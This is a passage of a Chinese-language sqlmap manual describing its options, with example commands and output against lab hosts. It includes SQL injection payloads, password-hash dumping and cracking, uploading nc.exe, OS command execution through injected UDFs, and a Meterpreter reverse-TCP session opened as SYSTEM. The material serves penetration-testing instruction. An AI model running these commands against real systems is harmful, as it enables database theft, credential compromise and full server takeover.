[hh:mm:04] [PAYLOAD] 1)/\*\*/AND/\*\*/9267=9267/\*\*/AND/\*\*/(4057=4057

[hh:mm:04] [PAYLOAD] 1/\*\*/AnD/\*\*/950=7041

[...]

[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'

[hh:mm:04] [PAYLOAD] 1/\*\*/anD/\*\*/(SELeCt/\*\*/9921/\*\*/fROm(SELeCt/\*\*/counT(\*),CONCAT(cHar(

58,117,113,107,58),(SELeCt/\*\*/(case/\*\*/whEN/\*\*/(9921=9921)/\*\*/THeN/\*\*/1/\*\*/elsE/\*\*/0/\*\*/

ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)\*2))x/\*\*/fROm/\*\*/information\_schema.tables/\*\*/

group/\*\*/bY/\*\*/x)a)

[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING

clause' injectable

[...]

## 探测

### 探测等级

参数：--level

共有五个等级，默认为1，sqlmap使用的payload可以在xml/payloads.xml中看到，你也可以根据相应的格式添加自己的payload。

这个参数不仅影响使用哪些payload同时也会影响测试的注入点，GET和POST的数据都会测试，HTTP Cookie在level为2的时候就会测试，HTTP User-Agent/Referer头在level为3的时候就会测试。

总之在你不确定哪个payload或者参数为注入点的时候，为了保证全面性，建议使用高的level值。

### 风险等级

参数：--risk

共有四个风险等级，默认是1会测试大部分的测试语句，2会增加基于事件的测试语句，3会增加OR语句的SQL注入测试。

在有些时候，例如在UPDATE的语句中，注入一个OR的测试语句，可能导致更新的整个表，可能造成很大的风险。

测试的语句同样可以在xml/payloads.xml中找到，你也可以自行添加payload。

### 页面比较

参数：--string,--not-string,--regexp,--code

默认情况下sqlmap通过判断返回页面的不同来判断真假，但有时候这会产生误差，因为有的页面在每次刷新的时候都会返回不同的代码，比如页面当中包含一个动态的广告或者其他内容，这会导致sqlmap的误判。此时用户可以提供一个字符串或者一段正则匹配，在原始页面与真条件下的页面都存在的字符串，而错误页面中不存在（使用--string参数添加字符串，--regexp添加正则），同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串，而错误页面中存在的字符串（--not-string添加）。用户也可以提供真与假条件返回的HTTP状态码不一样来注入，例如，响应200的时候为真，响应401的时候为假，可以添加参数--code=200。

参数：--text-only,--titles

有些时候用户知道真条件下的返回页面与假条件下返回页面是不同位置在哪里可以使用--text-only（HTTP响应体中不同）--titles（HTML的title标签中不同）。

## 注入技术

### 测试是否是注入

参数：--technique

这个参数可以指定sqlmap使用的探测技术，默认情况下会测试所有的方式。

支持的探测方式如下：

B: Boolean-based blind SQL injection（布尔型注入）

E: Error-based SQL injection（报错型注入）

U: UNION query SQL injection（可联合查询注入）

S: Stacked queries SQL injection（可多语句查询注入）

T: Time-based blind SQL injection（基于时间延迟注入）

### 设定延迟注入的时间

参数：--time-sec

当使用继续时间的盲注时，时刻使用--time-sec参数设定延时时间，默认是5秒。

### 设定UNION查询字段数

参数：--union-cols

默认情况下sqlmap测试UNION查询注入会测试1-10个字段数，当--level为5的时候他会增加测试到50个字段数。设定--union-cols的值应该是一段整数，如：12-16，是测试12-16个字段数。

### 设定UNION查询使用的字符

参数：--union-char

默认情况下sqlmap针对UNION查询的注入会使用NULL字符，但是有些情况下会造成页面返回失败，而一个随机整数是成功的，这是你可以用--union-char只定UNION查询的字符。

### 二阶SQL注入

参数：--second-order

有些时候注入点输入的数据看返回结果的时候并不是当前的页面，而是另外的一个页面，这时候就需要你指定到哪个页面获取响应判断真假。--second-order后门跟一个判断页面的URL地址。

## 列数据

### 标志

参数：-b,--banner

大多数的数据库系统都有一个函数可以返回数据库的版本号，通常这个函数是version()或者变量@@version这主要取决与是什么数据库。

### 用户

参数：-current-user

在大多数据库中可以获取到管理数据的用户。

### 当前数据库

参数：--current-db

返还当前连接的数据库。

### 当前用户是否为管理用

参数：--is-dba

判断当前的用户是否为管理，是的话会返回True。

### 列数据库管理用户

参数：--users

当前用户有权限读取包含所有用户的表的权限时，就可以列出所有管理用户。

### 列出并破解数据库用户的hash

参数：--passwords

当前用户有权限读取包含用户密码的彪的权限时，sqlmap会现列举出用户，然后列出hash，并尝试破解。

例子：

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get\_int.php?id=1" --passwords -v 1

[...]

back-end DBMS: PostgreSQL

[hh:mm:38] [INFO] fetching database users password hashes

do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y

[hh:mm:42] [INFO] using hash method: 'postgres\_passwd'

what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]

[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'

do you want to use common password suffixes? (slow!) [y/N] n

[hh:mm:48] [INFO] starting dictionary attack (postgres\_passwd)

[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'

[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'

database management system users password hashes:

[\*] postgres [1]:

    password hash: md5d7d880f96044b72d0bba108ace96d1e4

    clear-text password: testpass

[\*] testuser [1]:

    password hash: md599e5ea7a6f7c3269995cba3927fd0093

    clear-text password: testpass

可以看到sqlmap不仅勒出数据库的用户跟密码，同时也识别出是PostgreSQL数据库，并询问用户是否采用字典爆破的方式进行破解，这个爆破已经支持Oracle和Microsoft SQL Server。

也可以提供-U参数来指定爆破哪个用户的hash。

### 列出数据库管理员权限

参数：--privileges

当前用户有权限读取包含所有用户的表的权限时，很可能列举出每个用户的权限，sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。

### 列出数据库管理员角色

参数：--roles

当前用户有权限读取包含所有用户的表的权限时，很可能列举出每个用户的角色，也可以用-U参数指定你想看哪个用户的角色。

仅适用于当前数据库是Oracle的时候。

### 列出数据库系统的数据库

参数：--dbs

当前用户有权限读取包含所有数据库列表信息的表中的时候，即可列出所有的数据库。

### 列举数据库表

参数：--tables,--exclude-sysdbs,-D

当前用户有权限读取包含所有数据库表信息的表中的时候，即可列出一个特定数据的所有表。

如果你不提供-D参数来列指定的一个数据的时候，sqlmap会列出数据库所有库的所有表。

--exclude-sysdbs参数是指包含了所有的系统数据库。

需要注意的是在Oracle中你需要提供的是TABLESPACE\_NAME而不是数据库名称。

### 列举数据库表中的字段

参数：--columns,-C,-T,-D

当前用户有权限读取包含所有数据库表信息的表中的时候，即可列出指定数据库表中的字段，同时也会列出字段的数据类型。

如果没有使用-D参数指定数据库时，默认会使用当前数据库。

列举一个SQLite的例子：

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get\_int.php?id=1" --columns -D testdb -T users -C name

[...]

Database: SQLite\_masterdb

Table: users

[3 columns]

+---------+---------+

| Column  | Type    |

+---------+---------+

| id      | INTEGER |

| name    | TEXT    |

| surname | TEXT    |

+---------+---------+

### 列举数据库系统的架构

参数：--schema,--exclude-sysdbs

用户可以用此参数获取数据库的架构，包含所有的数据库，表和字段，以及各自的类型。

加上--exclude-sysdbs参数，将不会获取数据库自带的系统库内容。

MySQL例子：

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get\_int.php?id=1" --schema --batch --exclude-sysdbs

[...]

Database: owasp10

Table: accounts

[4 columns]

+-------------+---------+

| Column      | Type    |

+-------------+---------+

| cid         | int(11) |

| mysignature | text    |

| password    | text    |

| username    | text    |

+-------------+---------+

Database: owasp10

Table: blogs\_table

[4 columns]

+--------------+----------+

| Column       | Type     |

+--------------+----------+

| date         | datetime |

| blogger\_name | text     |

| cid          | int(11)  |

| comment      | text     |

+--------------+----------+

Database: owasp10

Table: hitlog

[6 columns]

+----------+----------+

| Column   | Type     |

+----------+----------+

| date     | datetime |

| browser  | text     |

| cid      | int(11)  |

| hostname | text     |

| ip       | text     |

| referer  | text     |

+----------+----------+

Database: testdb

Table: users

[3 columns]

+---------+---------------+

| Column  | Type          |

+---------+---------------+

| id      | int(11)       |

| name    | varchar(500)  |

| surname | varchar(1000) |

+---------+---------------+

[...]

### 获取表中数据个数

参数：--count

有时候用户只想获取表中的数据个数而不是具体的内容，那么就可以使用这个参数。

列举一个Microsoft SQL Server例子：

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get\_int.asp?id=1" --count -D testdb

[...]

Database: testdb

+----------------+---------+

| Table          | Entries |

+----------------+---------+

| dbo.users      | 4       |

| dbo.users\_blob | 2       |

+----------------+---------+

### 获取整个表的数据

参数：--dump,-C,-T,-D,--start,--stop,--first,--last

如果当前管理员有权限读取数据库其中的一个表的话，那么就能获取真个表的所有内容。

使用-D,-T参数指定想要获取哪个库的哪个表，不适用-D参数时，默认使用当前库。

列举一个Firebird的例子：

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get\_int.php?id=1" --dump -T users

[...]

Database: Firebird\_masterdb

Table: USERS

[4 entries]

+----+--------+------------+

| ID | NAME   | SURNAME    |

+----+--------+------------+

| 1  | luther | blisset    |

| 2  | fluffy | bunny      |

| 3  | wu     | ming       |

| 4  | NULL   | nameisnull |

+----+--------+------------+

可以获取指定库中的所有表的内容，只用-dump跟-D参数（不使用-T与-C参数）。

也可以用-dump跟-C获取指定的字段内容。

sqlmap为每个表生成了一个CSV文件。

如果你只想获取一段数据，可以使用--start和--stop参数，例如，你只想获取第一段数据可hi使用--stop 1，如果想获取第二段与第三段数据，使用参数 --start 1 --stop 3。

也可以用--first与--last参数，获取第几个字符到第几个字符的内容，如果你想获取字段中地三个字符到第五个字符的内容，使用--first 3 --last 5，只在盲注的时候使用，因为其他方式可以准确的获取注入内容，不需要一个字符一个字符的猜解。

### 获取所有数据库表的内容

参数：--dump-all,--exclude-sysdbs

使用--dump-all参数获取所有数据库表的内容，可同时加上--exclude-sysdbs只获取用户数据库的表，需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库，因为有的管理员会把他当初用户数据库一样来使用它。

### 搜索字段，表，数据库

参数：--search,-C,-T,-D

--search可以用来寻找特定的数据库名，所有数据库中的特定表名，所有数据库表中的特定字段。

可以在一下三种情况下使用：

-C后跟着用逗号分割的列名，将会在所有数据库表中搜索指定的列名。

-T后跟着用逗号分割的表名，将会在所有数据库中搜索指定的表名

-D后跟着用逗号分割的库名，将会在所有数据库中搜索指定的库名。

### 运行自定义的SQL语句

参数：--sql-query,--sql-shell

sqlmap会自动检测确定使用哪种SQL注入技术，如何插入检索语句。

如果是SELECT查询语句，sqlap将会输出结果。如果是通过SQL注入执行其他语句，需要测试是否支持多语句执行SQL语句。

列举一个Mircrosoft SQL Server 2000的例子：

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get\_int.php?id=1" --sql-query "SELECT 'foo'" -v 1

[...]

[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''

[hh:mm:14] [INFO] retrieved: foo

SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get\_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2

[...]

[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''

[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into

distinct queries to be able to retrieve the output even if we are going blind

[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),

(CHAR(32)))

[hh:mm:50] [INFO] retrieved: foo

[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds

[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),

(CHAR(32)))

[hh:mm:50] [INFO] retrieved: bar

[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds

SELECT 'foo', 'bar':    'foo, bar'

## 爆破

### 暴力破解表名

参数：--common-tables

当使用--tables无法获取到数据库的表时，可以使用此参数。

通常是如下情况：

1、MySQL数据库版本小于5.0，没有information\_schema表。

2、数据库是Microssoft Access，系统表MSysObjects是不可读的（默认）。

3、当前用户没有权限读取系统中保存数据结构的表的权限。

暴力破解的表在txt/common-tables.txt文件中，你可以自己添加。

列举一个MySQL 4.1的例子：

$ python sqlmap.py -u "http://192.168.136.129/mysql/get\_int\_4.php?id=1" --common-tables -D testdb --banner

[...]

[hh:mm:39] [INFO] testing MySQL

[hh:mm:39] [INFO] confirming MySQL

[hh:mm:40] [INFO] the back-end DBMS is MySQL

[hh:mm:40] [INFO] fetching banner

web server operating system: Windows

web application technology: PHP 5.3.1, Apache 2.2.14

back-end DBMS operating system: Windows

back-end DBMS: MySQL &lt; 5.0.0

banner:    '4.1.21-community-nt'

[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'

[hh:mm:40] [INFO] adding words used on web page to the check list

please enter number of threads? [Enter for 1 (current)] 8

[hh:mm:43] [INFO] retrieved: users

Database: testdb

[1 table]

+-------+

| users |

+-------+

### 暴力破解列名

参数：--common-columns

与暴力破解表名一样，暴力跑的列名在txt/common-columns.txt中。

## 用户自定义函数注入

参数：--udf-inject,--shared-lib

你可以通过编译MySQL注入你自定义的函数（UDFs）或PostgreSQL在windows中共享库，DLL，或者Linux/Unix中共享对象，sqlmap将会问你一些问题，上传到服务器数据库自定义函数，然后根据你的选择执行他们，当你注入完成后，sqlmap将会移除它们。

## 系统文件操作

### 从数据库服务器中读取文件

参数：--file-read

当数据库为MySQL，PostgreSQL或Microsoft SQL Server，并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。

列举一个Microsoft SQL Server 2005的例子：

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get\_str2.asp?name=luther" \

--file-read "C:/example.exe" -v 1

[...]

[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2000

web application technology: ASP.NET, Microsoft IIS 6.0, ASP

back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'

[hh:mm:50] [INFO] the SQL query provided returns 3 entries

C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/C\_\_example.exe'

[...]

$ ls -l output/192.168.136.129/files/C\_\_example.exe

-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C\_\_example.exe

$ file output/192.168.136.129/files/C\_\_example.exe

output/192.168.136.129/files/C\_\_example.exe: PE32 executable for MS Windows (GUI) Intel

80386 32-bit

### 把文件上传到数据库服务器中

参数：--file-write,--file-dest

当数据库为MySQL，PostgreSQL或Microsoft SQL Server，并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。

列举一个MySQL的例子：

$ file /software/nc.exe.packed

/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit

$ ls -l /software/nc.exe.packed

-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get\_int.aspx?id=1" --file-write \

"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]

[hh:mm:29] [INFO] the back-end DBMS is MySQL

web server operating system: Windows 2003 or 2008

web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727

back-end DBMS: MySQL &gt;= 5.0.0

[...]

do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully

written on the back-end DBMS file system? [Y/n] y

[hh:mm:52] [INFO] retrieved: 31744

[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,

same size as the local file '/software/nc.exe.packed'

### 运行任意操作系统命令

参数：--os-cmd,--os-shell

当数据库为MySQL，PostgreSQL或Microsoft SQL Server，并且当前用户有权限使用特定的函数。

在MySQL、PostgreSQL，sqlmap上传一个二进制库，包含用户自定义的函数，sys\_exec()和sys\_eval()。

那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server，sqlmap将会使用xp\_cmdshell存储过程，如果被禁（在Microsoft SQL Server 2005及以上版本默认禁制），sqlmap会重新启用它，如果不存在，会自动创建。

列举一个PostgreSQL的例子：

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get\_int.php?id=1" \

--os-cmd id -v 1

[...]

web application technology: PHP 5.2.6, Apache 2.2.9

back-end DBMS: PostgreSQL

[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system

[hh:mm:12] [INFO] the back-end DBMS operating system is Linux

[hh:mm:12] [INFO] testing if current user is DBA

[hh:mm:12] [INFO] detecting back-end DBMS version from its banner

[hh:mm:12] [INFO] checking if UDF 'sys\_eval' already exist

[hh:mm:12] [INFO] checking if UDF 'sys\_exec' already exist

[hh:mm:12] [INFO] creating UDF 'sys\_eval' from the binary UDF file

[hh:mm:12] [INFO] creating UDF 'sys\_exec' from the binary UDF file

do you want to retrieve the command standard output? [Y/n/a] y

command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(postgres)'

[hh:mm:19] [INFO] cleaning up the database management system

do you want to remove UDF 'sys\_eval'? [Y/n] y

do you want to remove UDF 'sys\_exec'? [Y/n] y

[hh:mm:23] [INFO] database management system cleanup finished

[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can

only be deleted manually

用--os-shell参数也可以模拟一个真实的shell，可以输入你想执行的命令。

当不能执行多语句的时候（比如php或者asp的后端数据库为MySQL时），仍然可能使用INTO OUTFILE写进可写目录，来创建一个web后门。支持的语言：

1、ASP

2、ASP.NET

3、JSP

4、PHP

### Meterpreter配合使用

参数：--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path

当数据库为MySQL，PostgreSQL或Microsoft SQL Server，并且当前用户有权限使用特定的函数，可以在数据库与攻击者直接建立TCP连接，这个连接可以是一个交互式命令行的Meterpreter会话，sqlmap根据Metasploit生成shellcode，并有四种方式执行它：

1、通过用户自定义的sys\_bineval()函数在内存中执行Metasplit的shellcode，支持MySQL和PostgreSQL数据库，参数：--os-pwn。

2、通过用户自定义的函数上传一个独立的payload执行，MySQL和PostgreSQL的sys\_exec()函数，Microsoft SQL Server的xp\_cmdshell()函数，参数：--os-pwn。

3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode，当sqlmap获取到的权限足够高的时候（Linux/Unix的uid=0，Windows是Administrator），--os-smbrelay。

4、通过溢出Microsoft SQL Server 2000和2005的sp\_replwritetovarbin存储过程(MS09-004)，在内存中执行Metasploit的payload，参数：--os-bof

列举一个MySQL例子：

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get\_int\_55.aspx?id=1" --os-pwn --msf-path /software/metasploit

[...]

[hh:mm:31] [INFO] the back-end DBMS is MySQL

web server operating system: Windows 2003

web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0

back-end DBMS: MySQL 5.0

[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system

[hh:mm:31] [INFO] the back-end DBMS operating system is Windows

how do you want to establish the tunnel?

[1] TCP: Metasploit Framework (default)

[2] ICMP: icmpsh - ICMP tunneling

&gt;

[hh:mm:32] [INFO] testing if current user is DBA

[hh:mm:32] [INFO] fetching current user

what is the back-end database management system architecture?

[1] 32-bit (default)

[2] 64-bit

&gt;

[hh:mm:33] [INFO] checking if UDF 'sys\_bineval' already exist

[hh:mm:33] [INFO] checking if UDF 'sys\_exec' already exist

[hh:mm:33] [INFO] detecting back-end DBMS version from its banner

[hh:mm:33] [INFO] retrieving MySQL base directory absolute path

[hh:mm:34] [INFO] creating UDF 'sys\_bineval' from the binary UDF file

[hh:mm:34] [INFO] creating UDF 'sys\_exec' from the binary UDF file

how do you want to execute the Metasploit shellcode on the back-end database underlying

operating system?

[1] Via UDF 'sys\_bineval' (in-memory way, anti-forensics, default)

[2] Stand-alone payload stager (file system way)

&gt;

[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode

which connection type do you want to use?

[1] Reverse TCP: Connect back from the database host to this machine (default)

[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports

between the specified and 65535

[3] Bind TCP: Listen on the database host for a connection

&gt;

which is the local address? [192.168.136.1]

which local port number do you want to use? [60641]

which payload do you want to use?

[1] Meterpreter (default)

[2] Shell

[3] VNC

&gt;

[hh:mm:40] [INFO] creation in progress ... done

[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..

                                \_

                                | |      o

\_  \_  \_    \_ \_|\_  \_\_,   ,    \_  | |  \_\_    \_|\_

/ |/ |/ |  |/  |  /  |  / \\_|/ \\_|/  /  \\_|  |

|  |  |\_/|\_\_/|\_/\\_/|\_/ \/ |\_\_/ |\_\_/\\_\_/ |\_/|\_/

                        /|

                        \|

    =[ metasploit v3.7.0-dev [core:3.7 api:1.0]

+ -- --=[ 674 exploits - 351 auxiliary

+ -- --=[ 217 payloads - 27 encoders - 8 nops

    =[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD =&gt; windows/meterpreter/reverse\_tcp

EXITFUNC =&gt; thread

LPORT =&gt; 60641

LHOST =&gt; 192.168.136.1

[\*] Started reverse handler on 192.168.136.1:60641

[\*] Starting the payload handler...

[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys\_bineval',

please wait..

[\*] Sending stage (749056 bytes) to 192.168.136.129

[\*] Meterpreter session 1 opened (192.168.136.1:60641 -&gt; 192.168.136.129:1689) at Mon Apr 11

hh:mm:52 +0100 2011

meterpreter &gt; Loading extension espia...success.

meterpreter &gt; Loading extension incognito...success.

meterpreter &gt; [-] The 'priv' extension has already been loaded.

meterpreter &gt; Loading extension sniffer...success.

meterpreter &gt; System Language : en\_US

OS              : Windows .NET Server (Build 3790, Service Pack 2).

Computer        : W2K3R2

Architecture    : x86

Meterpreter     : x86/win32

meterpreter &gt; Server username: NT AUTHORITY\SYSTEM

meterpreter &gt; ipconfig

MS TCP Loopback interface

Hardware MAC: 00:00:00:00:00:00

IP Address  : 127.0.0.1

Netmask     : 255.0.0.0

Intel(R) PRO/1000 MT Network Connection

Hardware MAC: 00:0c:29:fc:79:39

IP Address  : 192.168.136.129

Netmask     : 255.255.255.0

meterpreter &gt; exit

[\*] Meterpreter session 1 closed.  Reason: User exit

ps：其实看到zone里很多问sqlmap的问题在通读看完那篇文章后都能解决。可惜啊，现在的人通读看文章的耐心都没有了，遇到了哪个问题就想起针对这个问题求助，却不知道仔细看完之后，以后可以省多少时间来求助，吐槽完毕，正文开始：

## 对Windows注册表操作

当数据库为MySQL，PostgreSQL或Microsoft SQL Server，并且当前web应用支持堆查询。 当然，当前连接数据库的用户也需要有权限操作注册表。

### 读取注册表值

参数：--reg-read

### 写入注册表值

参数：--reg-add

### 删除注册表值

参数：--reg-del

### 注册表辅助选项

参数：--reg-key，--reg-value，--reg-data，--reg-type

需要配合之前三个参数使用，例子：

$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get\_int.aspx?id=1 --reg-add --reg-key="HKEY\_LOCAL\_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG\_SZ --reg-data=1

## 常规参数

### 从sqlite中读取session

参数：-s

sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件，如果用户想指定读取的文件路径，就可以用这个参数。

### 保存HTTP(S)日志

参数：-t

这个参数需要跟一个文本文件，sqlmap会把HTTP(S)请求与响应的日志保存到那里。

### 非交互模式

参数：--batch

用此参数，不需要用户输入，将会使用sqlmap提示的默认值一直运行下去。

### 强制使用字符编码

参数：--charset

不使用sqlmap自动识别的（如HTTP头中的Content-Type）字符编码，强制指定字符编码如：

--charset=GBK

### 爬行网站URL

参数：--crawl

sqlmap可以收集潜在的可能存在漏洞的连接，后面跟的参数是爬行的深度。

例子：

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3

[...]

[xx:xx:53] [INFO] starting crawler

[xx:xx:53] [INFO] searching for links with depth 1

[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while

[xx:xx:53] [INFO] searching for links with depth 2

[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'

[xx:xx:00] [INFO] 42/56 links visited (75%)

[...]

### 规定输出到CSV中的分隔符

参数：--csv-del

当dump保存为CSV格式时（--dump-format=CSV），需要一个分隔符默认是逗号，用户也可以改为别的 如：

--csv-del=";"

### DBMS身份验证

参数：--dbms-cred

某些时候当前用户的权限不够，做某些操作会失败，如果知道高权限用户的密码，可以使用此参数，有的数据库有专门的运行机制，可以切换用户如Microsoft SQL Server的OPENROWSET函数

### 定义dump数据的格式

参数：--dump-format

输出的格式可定义为：CSV，HTML，SQLITE

### 预估完成时间

参数：--eta

可以计算注入数据的剩余时间。

例如Oracle的布尔型盲注：

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get\_int\_bool.php?id=1" -b --eta

[...]

[hh:mm:01] [INFO] the back-end DBMS is Oracle

[hh:mm:01] [INFO] fetching banner

[hh:mm:01] [INFO] retrieving the length of query output

[hh:mm:01] [INFO] retrieved: 64

17% [========>                                          ] 11/64  ETA 00:19

然后：

100% [===================================================] 64/64

[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9

back-end DBMS: Oracle

banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

sqlmap先输出长度，预计完成时间，显示百分比，输出字符

### 刷新session文件

参数：--flush-session

如果不想用之前缓存这个目标的session文件，可以使用这个参数。 会清空之前的session，重新测试该目标。

### 自动获取form表单测试

参数：--forms

如果你想对一个页面的form表单中的参数测试，可以使用-r参数读取请求文件，或者通过--data参数测试。 但是当使用--forms参数时，sqlmap会自动从-u中的url获取页面中的表单进行测试。

### 忽略在会话文件中存储的查询结果

参数：--fresh-queries

忽略session文件保存的查询，重新查询。

### 使用DBMS的hex函数

参数：--hex

有时候字符编码的问题，可能导致数据丢失，可以使用hex函数来避免：

针对PostgreSQL例子：

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get\_int.php?id=1" --banner --hex -v 3 --parse-errors

[...]

[xx:xx:14] [INFO] fetching banner

[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT\_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)

[xx:xx:15] [INFO] parsed error message: 'pg\_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR:  invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>'

[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by

GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2

[...]

### 自定义输出的路径

参数：--output-dir

sqlmap默认把session文件跟结果文件保存在output文件夹下，用此参数可自定义输出路径 例如：--output-dir=/tmp

### 从响应中获取DBMS的错误信息

参数：--parse-errors

有时目标没有关闭DBMS的报错，当数据库语句错误时，会输出错误语句，用词参数可以会显出错误信息。

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get\_int.asp?id=1" --parse-errors

[...]

[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test

[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.

<b>/sqlmap/mssql/iis/get\_int.asp, line 27</b>'

[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.

<b>/sqlmap/mssql/iis/get\_int.asp, line 27</b>'

[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.

<b>/sqlmap/mssql/iis/get\_int.asp, line 27</b>'

[11:12:17] [INFO] target URL appears to have 3 columns in query

[...]

## 其他的一些参数

### 使用参数缩写

参数：-z

有使用参数太长太复杂，可以使用缩写模式。 例如：

python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"

可以写成：

python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"

还有：

python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"

可以写成：

python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"

### 成功SQL注入时警告

参数：--alert

### 设定会发的答案

参数：--answers

当希望sqlmap提出输入时，自动输入自己想要的答案可以使用此参数： 例子：

$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get\_int.php?id=1"--technique=E --answers="extending=N" --batch

[...]

[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'

heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y

[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] N

[...]

### 发现SQL注入时发出蜂鸣声

